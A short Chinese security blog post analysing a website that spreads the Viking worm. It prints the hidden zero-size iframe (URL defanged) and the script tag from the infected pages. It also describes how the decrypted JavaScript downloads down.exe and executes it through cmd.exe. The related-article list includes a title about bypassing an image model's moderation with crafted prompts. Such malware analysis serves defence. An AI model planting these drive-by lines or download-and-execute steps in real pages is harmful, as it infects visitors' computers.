发现一个传播威金/Worm.Win32.Viking.if的网站,用的技术很新颖

简介: 发现一个传播威金/Worm.Win32.Viking.if的网站,用的技术很新颖

该网站首页包含代码:

<iframe src=hxxp://www***1.8***93**8*2.cn/5***1**.htm width=0 height=0>
hxxp://www***1.8***93**8*2.cn/5***1**.htm 包含代码:
/---
<script src=css.js></script>
---/

hxxp://www***1.8***93**8*2.cn/css.js 的内容为JavaScript程序,使用正则表达式解密代码并运行。

解密出来的代码采用JavaScript编写,功能是利用 Microsoft.XMLHTTP 和

scrīpting.FileSystemObject 下载文件 down.exe,保存为 %windir%/~tmp.tmp,并利用Shell.Application 对象Q 的 ShellExecute 方法 执行命令: %windir%/system32/cmd.exe /c %windir%/~tmp.tmp 来运行。

/---


相关文章
|
2月前
|
安全 数据安全/隐私保护
某健康学校网站被植入传播Trojan-Downloader.Win32.Delf.bho的代码
某健康学校网站被植入传播Trojan-Downloader.Win32.Delf.bho的代码
|
2月前
|
JavaScript 前端开发 数据安全/隐私保护
QQ信息中传播Worm.Viking.es的这个网页真复杂
QQ信息中传播Worm.Viking.es的这个网页真复杂
|
2月前
|
JavaScript 前端开发 数据安全/隐私保护
传播蠕虫维金/Worm.Viking.cx的QQ尾巴再添花样
传播蠕虫维金/Worm.Viking.cx的QQ尾巴再添花样
|
2月前
|
安全 JavaScript 前端开发
某光集团网站被加入利用ANI漏洞传播Worm.Win32.Viking.ix的代码
某光集团网站被加入利用ANI漏洞传播Worm.Win32.Viking.ix的代码
|
2月前
|
监控
某市河西区教育信息网被加入传播Worm.Win32.Viking.jr等的代码
某市河西区教育信息网被加入传播Worm.Win32.Viking.jr等的代码
|
2月前
|
JavaScript 前端开发 数据安全/隐私保护
传播蠕虫维金/Worm.Viking.cx的QQ尾巴换了花样
传播蠕虫维金/Worm.Viking.cx的QQ尾巴换了花样
|
安全 Ubuntu Python
工控CTF_纵横网络靶场_恶意软件样本分析
工控CTF_纵横网络靶场_恶意软件样本分析
工控CTF_纵横网络靶场_恶意软件样本分析
|
人工智能 自然语言处理 算法
prompt攻防战!哥伦比亚大学提出BPE造词法,可绕过审核机制,DALL-E 2已中招
prompt攻防战!哥伦比亚大学提出BPE造词法,可绕过审核机制,DALL-E 2已中招
155 0
|
安全 Shell PHP
工控CTF_纵横网络靶场_隐藏的黑客
工控CTF_纵横网络靶场_隐藏的黑客
工控CTF_纵横网络靶场_隐藏的黑客
|
算法 数据安全/隐私保护 Python
工控CTF_纵横网络靶场_奇怪的文件
工控CTF_纵横网络靶场_奇怪的文件
工控CTF_纵横网络靶场_奇怪的文件